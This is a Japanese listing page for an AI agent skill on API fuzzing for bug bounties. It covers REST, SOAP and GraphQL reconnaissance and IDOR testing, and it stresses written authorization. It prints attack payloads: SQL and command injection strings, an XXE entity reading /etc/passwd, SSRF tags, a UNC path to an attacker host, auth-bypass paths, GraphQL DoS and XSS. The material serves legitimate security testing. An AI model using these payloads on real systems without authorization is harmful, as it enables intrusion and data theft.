mcpField
A
api-fuzzing-bug-bounty

api-fuzzing-bug-bounty

github.com/sickn33セキュリティ48.7k667 回インストール今日更新
リポジトリ

api-fuzzing-bug-bounty について

api-fuzzing-bug-bounty は、許可されたセキュリティ評価や管理された学習環境で API をテストするスキルです。バグバウンティ研究者やペネトレーションテスター向けに、REST、SOAP、GraphQL の調査と脆弱性検証を扱い、書面による許可と範囲確認を必須とします。

主な機能

  1. 01API エンドポイントと種別の調査
  2. 02認証・IDOR・インジェクションのテスト
  3. 03GraphQL 固有の確認項目
  4. 04許可確認と管理されたテストの必須化
  5. 05検証結果とテスト範囲の記録

活用シーン

  1. 01許可範囲内での API セキュリティ評価
  2. 02GraphQL スキーマとアクセス制御の確認
  3. 03ラボ環境での脆弱性検証の練習

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/sickn33/agentic-awesome-skills --skill api-fuzzing-bug-bounty

インストール後、Claude Code で/api-fuzzing-bug-bountyを入力して読み込まれたか確認します。

詳細

⚠️ 許可された用途のみ このスキルは、教育目的または許可を得たセキュリティ評価にのみ使用してください。 このツールを使用する前に、システム所有者から明示的な書面による許可を得る必要があります。 このツールの不正使用は違法であり、固く禁じられています。

必須の確認手順 ターゲットを調査、悪用、変更、永続化、データ抽出、または認証情報へのアクセスを試みるコマンドを実行する前に、次の手順を行ってください。

  1. ユーザーに、対象の正確な URL、IP、アカウント、またはリソースを明示するよう求めます。
  2. 書面による許可と、許可された範囲を確認するようユーザーに求めます。
  3. 正確なコマンドを提示し、想定される影響を説明します。
  4. 現在の会話内で明示的な確認が得られるまで待ちます。

その確認が得られない場合は、読み取り専用の操作にとどめ、防御的なガイダンスのみを提供してください。サンドボックス、使い捨て VM、または管理されたラボを優先してください。

許可された用途のみ:このスキルは、許可を得たセキュリティ評価、防御的な検証、または管理された教育環境でのみ使用してください。

バグバウンティ向け API ファジング

目的

バグバウンティハンティングおよびペネトレーションテストの実施時に、REST、SOAP、GraphQL API をテストするための包括的な手法を提供します。脆弱性の発見、認証バイパス、IDOR の悪用、API 固有の攻撃ベクトルを扱います。

入力/前提条件

  • Burp Suite または同様のプロキシツール
  • API ワードリスト(SecLists、api_wordlist)
  • REST/GraphQL/SOAP プロトコルの理解
  • スクリプト作成用の Python
  • 対象 API のエンドポイントとドキュメント(利用可能な場合)

出力/成果物

  • 特定された API の脆弱性
  • IDOR の悪用を示す証拠
  • 認証バイパスの手法
  • SQL インジェクションの箇所
  • 不正なデータアクセスの記録

API の種類の概要

種類プロトコルデータ形式構造
SOAPHTTPXMLヘッダー + ボディ
RESTHTTPJSON/XML/URL定義されたエンドポイント
GraphQLHTTPカスタムクエリ単一エンドポイント

基本的なワークフロー

管理されたテストアカウント/テナントと、読み取り専用のカナリーリソースを使用してください。ルール・オブ・エンゲージメントで、レート、同時実行数、期間、書き込み/削除メソッド、SSRF の宛先、およびコールバックエンドポイントの範囲を定めてください。DoS/深い再帰、認証情報への攻撃、破壊的なメソッドのテストには、個別の明示的な承認が必要です。可能な場合は使い捨てのラボを使用してください。レート制限に達した場合、または実際の個人データへの予期しないアクセスが発生した場合は停止してください。IP ローテーションによって制限を回避してはなりません。以下のペイロードは仮説であり、脆弱性の証明でも、すべての手法を試す指示でもありません。

ステップ 1:API の偵察

API の種類を特定し、エンドポイントを列挙します。

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json
ステップ 2:認証のテスト
# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls
ステップ 3:IDOR のテスト

安全でない直接オブジェクト参照(IDOR)は、最も一般的な API の脆弱性です。

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /[email protected]

# Test /me/orders vs /user/654321/orders

IDOR のバイパス手法:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
ステップ 4:インジェクションのテスト

JSON 内の SQL インジェクション:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → Observe response; an error alone proves nothing
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

コマンドインジェクション:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE インジェクション:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

API 経由の SSRF:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET の Path.Combine の脆弱性:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
ステップ 5:メソッドのテスト
# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

GraphQL 固有のテスト

イントロスペクションクエリ

バックエンドのスキーマ全体を取得します。

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL エンコード版:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}
GraphQL IDOR
# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    id  # Controlled canary record only; do not request real passwords/payment data
  }
}
GraphQL の SQL/NoSQL インジェクション
mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}
レート制限のバイパス(バッチ処理)
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
GraphQL DoS(ネストされたクエリ)
query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}
GraphQL XSS
# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
GraphQL ツール
ツール目的
GraphCrawlerスキーマの検出
graphw00fフィンガープリンティング
clairvoyanceスキーマの再構築
InQLBurp 拡張機能
GraphQLmapエクスプロイト

エンドポイントのバイパス手法

403/401 が返された場合は、次のバイパスを試してください。

# Original blocked request
/api/v1/users/sensitivedata → 403

# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

出力の悪用

PDF エクスポート攻撃

<iframe src="file:///etc/passwd" height=1000 width=800>


<object data="http://127.0.0.1:8443"/>


<img src="http://127.0.0.1:445"/>


<img src="https://iplogger.com/yourcode.gif"/>
制限を利用した DoS
# Normal request
/api/news?limit=100

# DoS attempt
/api/news?limit=9999999999

API に関する一般的な脆弱性チェックリスト

脆弱性説明
API の公開保護されていないエンドポイントが一般公開されている
キャッシュの設定ミス機密データが不適切にキャッシュされている
トークンの露出API キー/トークンがレスポンスまたは URL に含まれている
JWT の弱点署名が弱い、有効期限がない、アルゴリズムの混同
IDOR / BOLAオブジェクトレベルの認可の不備
ドキュメント化されていないエンドポイント隠された管理者用/デバッグ用エンドポイント
バージョンの違い古い API バージョンにおけるセキュリティ上の欠陥
レート制限レート制限がない、または回避可能
競合状態TOCTOU の脆弱性
XXE インジェクションXML パーサーの悪用
コンテンツタイプの問題JSON/XML の切り替え
HTTP メソッドの改ざんGET→DELETE/PUT の悪用

クイックリファレンス

脆弱性テスト用ペイロードリスク
IDORuser_id パラメーターを変更高
SQLiJSON 内の ' OR 1=1--重大
コマンドインジェクション; ls /重大
XXEENTITY を含む DOCTYPE高
SSRFパラメーター内の内部 IP高
レート制限の回避バッチリクエスト中
メソッドの改ざんGET→DELETE高

ツールのリファレンス

カテゴリツールURL
API ファジングFuzzapigithub.com/Fuzzapi/fuzzapi
API ファジングAPI-fuzzergithub.com/Fuzzapi/API-fuzzer
API ファジングAstragithub.com/flipkart-incubator/Astra
API セキュリティapicheckgithub.com/BBVA/apicheck
API の検出Kiterunnergithub.com/assetnote/kiterunner
API の検出openapi_security_scannergithub.com/ngalongc/openapi_security_scanner
API ツールキットAPIKitgithub.com/API-Security/APIKit
API キーAPI Guesserapi-guesser.netlify.app
GUIDGUID Guessergist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
GraphQLInQLgithub.com/doyensec/inql
GraphQLGraphCrawlergithub.com/gsmith257-cyber/GraphCrawler
GraphQLgraphw00fgithub.com/dolevf/graphw00f
GraphQLclairvoyancegithub.com/nikitastupin/clairvoyance
GraphQLbatchqlgithub.com/assetnote/batchql
GraphQLgraphql-copgithub.com/dolevf/graphql-cop
ワードリストSecListsgithub.com/danielmiessler/SecLists
Swagger パーサーSwagger-EZrhinosecuritylabs.github.io/Swagger-EZ
Swagger ルートswagroutesgithub.com/amalmurali47/swagroutes
API マインドマップMindAPIdsopas.github.io/MindAPI/play
JSON パスjson2pathsgithub.com/s0md3v/dump/tree/master/json2paths

制約事項

必須:

  • モバイル、ウェブ、開発者向けの API を個別にテストする
  • すべての API バージョン(/v1、/v2、/v3)を確認する
  • 認証済みアクセスと未認証アクセスの両方を検証する

禁止事項:

  • API バージョン間で同じセキュリティ制御が適用されていると決めつけない
  • ドキュメント化されていないエンドポイントのテストを省略しない
  • レート制限の確認を無視しない

推奨事項:

  • フロントエンドをシミュレートするため、X-Requested-With: XMLHttpRequest ヘッダーを追加する
  • 過去の API エンドポイントを archive.org で確認する
  • 機密性の高い操作で競合状態をテストする

例

例 1:IDOR の悪用
# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>

# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>

# Response reveals other user's invoice data
例 2:GraphQL のイントロスペクション
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

トラブルシューティング

問題解決策
API が何も返さないX-Requested-With: XMLHttpRequest ヘッダーを追加する
すべてのエンドポイントで 401 が返るまず、認可されたテスト用認証情報/スコープを確認する。user_id パラメーターで認証の問題が解決すると決めつけない
GraphQL のイントロスペクションが無効になっているスキーマの再構築に clairvoyance を使用する
レート制限がかかる停止するか、時間を置いて再試行し、レスポンスを保存して、承認されたリクエストレートを守る。回避しない
エンドポイントが見つからないSwagger、archive.org、JS ファイルを確認する

使用する場面

このスキルは、概要で説明されているワークフローまたはアクションを実行する際に適用できます。

コメント